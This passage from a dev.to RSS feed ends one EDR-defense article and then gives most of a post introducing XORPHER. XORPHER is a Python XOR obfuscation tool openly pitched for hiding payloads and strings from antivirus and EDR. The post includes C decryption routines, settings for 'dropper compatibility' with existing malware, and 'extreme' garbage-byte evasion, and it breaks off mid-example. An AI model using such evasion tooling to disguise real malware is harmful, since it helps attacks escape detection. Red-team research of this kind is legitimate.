Enforce strict application control, path collision mitigation, and filter driver protection; integrate automated response playbooks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 4 – Continuous Validation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Conduct regular red-blue adversarial simulations to validate rule efficacy and refine baselines.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Summary and Strategic Recommendations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cybersecurity remains an asymmetric, ongoing contest between attackers and defenders. As EDR vendors continually enhance detection capabilities, adversaries simultaneously develop novel evasion methods. Signature-based antivirus alone is inadequate against sophisticated threats. Organizations must transition to a combined AV/EPP + EDR strategy, placing strong emphasis on behavioral analytics and memory integrity enforcement.&lt;/p&gt;

&lt;p&gt;Security teams are strongly advised to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Conduct periodic red-blue team exercises to empirically validate defensive configurations.
&lt;/li&gt;
&lt;li&gt;Maintain active threat intelligence feeds to enable timely rule tuning.
&lt;/li&gt;
&lt;li&gt;Build layered, defense-in-depth architectures capable of preventing, detecting, understanding, and responding to increasingly complex attacks, thereby ensuring sustained business continuity and operational resilience.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The programs, technical methods, and related content presented in this document are intended solely for legitimate and compliant cybersecurity research and educational purposes, with the explicit objective of enhancing defensive capabilities in network security. All discussions and demonstrations possess clear attributes of technical and academic research.&lt;/p&gt;

&lt;p&gt;Any organization or individual that, without explicit authorization, utilizes the content herein for attacks, destruction, or any other illegal activities shall bear full and sole legal, civil, and consequential liability arising therefrom. This website/publication assumes no joint or vicarious liability whatsoever.&lt;/p&gt;

&lt;p&gt;All materials published on this platform are released strictly for the purposes of technical exchange and knowledge sharing. Should any content infringe upon copyrights or give rise to other objections, please contact us via email for resolution.&lt;/p&gt;

</description>
      <category>edr</category>
      <category>security</category>
      <category>bypass</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Building XORPHER: A Multi-Algorithm XOR Encryption Tool for Red Teaming</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Fri, 06 Mar 2026 04:26:07 +0000</pubDate>
      <link>https://dev.to/excalibra/building-xorpher-a-multi-algorithm-xor-encryption-tool-for-red-teaming-1en7</link>
      <guid>https://dev.to/excalibra/building-xorpher-a-multi-algorithm-xor-encryption-tool-for-red-teaming-1en7</guid>
      <description>&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Excalibra" rel="noopener noreferrer"&gt;
        Excalibra
      &lt;/a&gt; / &lt;a href="https://github.com/Excalibra/XORPHER" rel="noopener noreferrer"&gt;
        XORPHER
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      XORPHER - Advanced XOR encryption tool for antivirus/EDR evasion. Features 5 algorithms (Simple, Rotating, Polymorphic, Custom, Legacy), configurable key lengths (1-64 bytes), garbage insertion, and auto-verification. Educational tool for security research.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div&gt;
  &lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/25296f18ba8a175b11925b2259741bc8f52005b1815292938cbbace78a6cb6fd/68747470733a2f2f6769746875622d70726f64756374696f6e2d757365722d61737365742d3632313064662e73332e616d617a6f6e6177732e636f6d2f38333834363630322f3535393039383238322d34643136373430312d313530332d346637372d613066322d6463336135336131353730642e706e673f582d416d7a2d416c676f726974686d3d415753342d484d41432d53484132353626582d416d7a2d43726564656e7469616c3d414b494156434f44594c5341353350514b345a41253246323032363033303625324675732d656173742d312532467333253246617773345f7265717565737426582d416d7a2d446174653d3230323630333036543034313335345a26582d416d7a2d457870697265733d33303026582d416d7a2d5369676e61747572653d3465623662613836336365386564316532393562306164343331613239633237346230373433633431626439633432643962663361343038383563373432363926582d416d7a2d5369676e6564486561646572733d686f7374"&gt;&lt;img src="https://camo.githubusercontent.com/25296f18ba8a175b11925b2259741bc8f52005b1815292938cbbace78a6cb6fd/68747470733a2f2f6769746875622d70726f64756374696f6e2d757365722d61737365742d3632313064662e73332e616d617a6f6e6177732e636f6d2f38333834363630322f3535393039383238322d34643136373430312d313530332d346637372d613066322d6463336135336131353730642e706e673f582d416d7a2d416c676f726974686d3d415753342d484d41432d53484132353626582d416d7a2d43726564656e7469616c3d414b494156434f44594c5341353350514b345a41253246323032363033303625324675732d656173742d312532467333253246617773345f7265717565737426582d416d7a2d446174653d3230323630333036543034313335345a26582d416d7a2d457870697265733d33303026582d416d7a2d5369676e61747572653d3465623662613836336365386564316532393562306164343331613239633237346230373433633431626439633432643962663361343038383563373432363926582d416d7a2d5369676e6564486561646572733d686f7374" alt="XORPHER Logo" width="700px"&gt;&lt;/a&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🚀 XORPHER v2.5&lt;/h1&gt;
&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Advanced XOR Encryption Tool for Evasion&lt;/h3&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://www.python.org/downloads/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/061315a8bf735bf87b7e347644119872964dc3e5506cd87de38ba48d45eb957f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e362532422d626c75652e737667" alt="Python Version"&gt;&lt;/a&gt;
&lt;a href="https://github.com/Excalibra/XORPHER/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/8bb50fd2278f18fc326bf71f6e88ca8f884f72f179d3e555e20ed30157190d0d/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e2e737667" alt="License"&gt;&lt;/a&gt;
&lt;a href="https://github.com/Excalibra/xorpher/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/9d1d8f010fb0ffc4558ad78a3d0bb75ac002c9a610048c877038799c69e65a9f/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f457863616c696272612f786f72706865723f7374796c653d736f6369616c" alt="GitHub Stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/Excalibra/xorpher/network/members" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/0596a1ea5c0812258590f6a9485ce35e2830e3d458379ad4237240ecbe5e9e91/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f457863616c696272612f786f72706865723f7374796c653d736f6369616c" alt="GitHub Forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stealth Edition - Bypass AV/EDR with 5 Configurable Encryption Algorithms&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;📋 Overview&lt;/h2&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;a rel="noopener noreferrer" href="https://private-user-images.githubusercontent.com/83846602/558892005-ee6c3dd9-9d22-4efd-8c92-4a756a3acbe8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzYxNzI4MjQsIm5iZiI6MTc3NjE3MjUyNCwicGF0aCI6Ii84Mzg0NjYwMi81NTg4OTIwMDUtZWU2YzNkZDktOWQyMi00ZWZkLThjOTItNGE3NTZhM2FjYmU4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA0MTQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNDE0VDEzMTUyNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWEwZDZlZDQ2MmNlMTFkZjQyMGI3OWU0NTZjZWQ2ZjQzMDk2YTkxZmYzNjA0MTRjYTA3MzkxYzRmMjhlYzg1NjUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.uHcFeqWpnjZfRgvVc0P5Ktspk06y03ab8CnrWEak1s0"&gt;&lt;img width="927" height="557" alt="image" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fprivate-user-images.githubusercontent.com%2F83846602%2F558892005-ee6c3dd9-9d22-4efd-8c92-4a756a3acbe8.png%3Fjwt%3DeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzYxNzI4MjQsIm5iZiI6MTc3NjE3MjUyNCwicGF0aCI6Ii84Mzg0NjYwMi81NTg4OTIwMDUtZWU2YzNkZDktOWQyMi00ZWZkLThjOTItNGE3NTZhM2FjYmU4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA0MTQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNDE0VDEzMTUyNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWEwZDZlZDQ2MmNlMTFkZjQyMGI3OWU0NTZjZWQ2ZjQzMDk2YTkxZmYzNjA0MTRjYTA3MzkxYzRmMjhlYzg1NjUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.uHcFeqWpnjZfRgvVc0P5Ktspk06y03ab8CnrWEak1s0"&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;
XORPHER is a cutting-edge XOR encryption tool designed specifically for penetration testers, red teamers, and security researchers. It implements advanced obfuscation techniques to evade Antivirus (AV) and Endpoint Detection &amp;amp; Response (EDR) solutions by making static analysis and signature detection significantly more difficult.
&lt;p&gt;Unlike traditional XOR tools, XORPHER offers &lt;strong&gt;5 distinct encryption algorithms&lt;/strong&gt;, &lt;strong&gt;configurable key lengths&lt;/strong&gt;, &lt;strong&gt;garbage byte insertion&lt;/strong&gt;, and &lt;strong&gt;custom parameter configuration&lt;/strong&gt; to ensure your payloads and strings remain undetected.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;🎯 Key Capabilities&lt;/h3&gt;

&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🔐 &lt;strong&gt;5 Encryption Algorithms&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;Simple, Rotating, Polymorphic, Custom, and Legacy modes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔑 &lt;strong&gt;Configurable Key Lengths&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;Choose from 1-64 bytes to match your decryption code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🛡️ &lt;strong&gt;Evasion Levels&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;None, Low, Medium, High, Extreme (0-80% garbage bytes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;✅ &lt;strong&gt;Auto-Verification&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;Automatically decrypts to confirm integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;📋 &lt;strong&gt;Multiple Output Formats&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;String literals, byte arrays,&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;…&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Excalibra/XORPHER" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h1&gt;
  
  
  XORPHER: A Multi-Algorithm XOR Encryption Tool for Red Teaming
&lt;/h1&gt;

&lt;p&gt;I've been working on a Python-based XOR encryption tool called &lt;strong&gt;XORPHER&lt;/strong&gt; that's designed specifically for penetration testers and red teamers who need to evade AV/EDR solutions. Today I want to share what it does and how you can use it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is XORPHER?
&lt;/h2&gt;

&lt;p&gt;XORPHER is a multi-algorithm XOR encryption tool with 5 distinct encryption methods, configurable key lengths, and intelligent garbage byte insertion for evading signature-based detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Features:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5 encryption algorithms (Simple, Rotating, Polymorphic, Custom, Legacy)&lt;/li&gt;
&lt;li&gt;Configurable key lengths (1-64 bytes or auto)&lt;/li&gt;
&lt;li&gt;5 evasion levels with garbage byte insertion (0-80%)&lt;/li&gt;
&lt;li&gt;Auto-verification of encrypted data&lt;/li&gt;
&lt;li&gt;Multiple output formats (C strings, byte arrays, Python)&lt;/li&gt;
&lt;li&gt;Cyberpunk-styled terminal UI&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clone the repository&lt;/span&gt;
git clone https://github.com/Excalibra/xorpher.git
&lt;span class="nb"&gt;cd &lt;/span&gt;xorpher

&lt;span class="c"&gt;# Install dependencies (colorama for colors, pyperclip for clipboard)&lt;/span&gt;
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="c"&gt;# Run XORPHER&lt;/span&gt;
python xorpher.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  How to Use XORPHER
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Interactive Mode (Recommended)
&lt;/h3&gt;

&lt;p&gt;Simply run the tool without arguments to enter the interactive menu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python xorpher.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You'll be greeted with the main menu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    MAIN MENU
    1. 🔐 Encrypt a string
    2. 📖 Encryption guide
    3. ℹ️ About
    4. 🚪 Exit

    ⚡ Select option (1-4):
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step-by-Step Encryption Walkthrough
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Select "Encrypt a string"&lt;/strong&gt; and enter your target string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    Enter the string to encrypt:
    &amp;gt;&amp;gt;&amp;gt; api.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Choose an algorithm:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    SELECT ALGORITHM
    1. simple      - Single key XOR
    2. rotating    - Key repeats every N bytes
    3. poly        - Polymorphic (hash-based)
    4. custom      - Configure your own parameters
    5. legacy      - 3-key with rolling modifier

    Choice (1-5) [default: 2]:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Configure key length:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    KEY LENGTH
    1. auto        - Key length = data length
    2. 1 byte      - Single key
    3. 3 bytes     - 3-byte key
    4. 4 bytes     - 4-byte key
    5. 8 bytes     - 8-byte key
    6. 16 bytes    - 16-byte key
    7. 32 bytes    - 32-byte key
    8. custom      - Specify length (1-64)

    Choice (1-8) [default: 3]:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4: Set evasion level:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    EVASION LEVEL
    1. none     - 0% garbage
    2. low      - 20% garbage
    3. medium   - 40% garbage
    4. high     - 60% garbage
    5. extreme  - 80% garbage

    Choice (1-5) [default: 1]:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5: Review and confirm:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ENCRYPTION SUMMARY
    ──────────────────────────────────────────────────
    String:     api.example.com
    Algorithm:  rotating
    Key Length: 3 bytes
    Evasion:    medium
    ──────────────────────────────────────────────────

    Proceed? (y/n) [default: y]:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6: Get your results:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ENCRYPTION RESULTS
    ──────────────────────────────────────────────────

    SUMMARY
    Original:     api.example.com
    Algorithm:    rotating
    Key Length:   3 bytes
    Evasion:      medium
    Size:         25 bytes

    Key preview:  0x3f 0x1a 0x7c ...

    C ARRAY
    ╔════════════════════════════════════════════════════════════╗
    ║  ROTATING ALGORITHM - Multiple Formats                    ║
    ╚════════════════════════════════════════════════════════════╝

    // Option 1: String literal
    unsigned char encrypted[] = "\xe9\xff\xc2\x83\xba\xa1\x89...";
    unsigned char key[] = {0x3f, 0x1a, 0x7c};

    // Decryption function
    void decrypt(unsigned char *data, int data_len, unsigned char *key, int key_len) {
        for(int i = 0; i &amp;lt; data_len; i++) {
            data[i] ^= key[i % key_len];
        }
    }

    Full details saved to: xorpher_output/

    Press Enter to return to main menu...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Advanced Usage Examples
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Example 1: Legacy Mode for Dropper Compatibility
&lt;/h3&gt;

&lt;p&gt;Perfect when working with existing malware or dropper code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run XORPHER and select:&lt;/span&gt;
Algorithm: legacy
Keys: Generate random 3-byte keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output format ready for C droppers:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{(BYTE*)"\xe9\xff\xc2\x83\xba\xa1\x89\x61\x71\x5d\x57\x25\x13\x07\xb7\xe7\xca\xae", 18, {0xc1, 0xac, 0xf5}}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Decryption code for your C project:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;decrypt_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;k3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;combined&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;k1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k2&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;combined&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Example 2: Custom Mode for Full Control
&lt;/h3&gt;

&lt;p&gt;Fine-tune every aspect of the encryption:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    CUSTOM CONFIGURATION

    Key options:
    1. Single key
    2. Multiple keys (rotating)
    3. 3-key legacy style

    Rolling modifier:
    1. No rolling (standard XOR)
    2. Simple rolling (position only)
    3. Legacy rolling (with multiplier and shift)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Example configuration:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Key type: Multiple keys (rotating)&lt;/li&gt;
&lt;li&gt;Number of keys: 4&lt;/li&gt;
&lt;li&gt;Rolling: Legacy rolling with multiplier 19, shift 3&lt;/li&gt;
&lt;li&gt;Position XOR: Enabled&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example 3: Maximum Evasion
&lt;/h3&gt;

&lt;p&gt;When you need to avoid detection at all costs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Algorithm: poly (polymorphic)
Key Length: 32 bytes
Evasion Level: extreme (80% garbage)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result will have 80% random bytes interleaved with your real data, making pattern matching nearly impossible.&lt;/p&gt;




&lt;h2&gt;
  
  
  Output Formats Explained
&lt;/h2&gt;

&lt;p&gt;XORPHER generates ready-to-use code in multiple formats:&lt;/p&gt;

&lt;h3&gt;
  
  
  C String Literal
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x4a\x6f\x68\x6e&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mh"&gt;0x3f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7c&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  C Byte Array
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mh"&gt;0x4a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6e&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
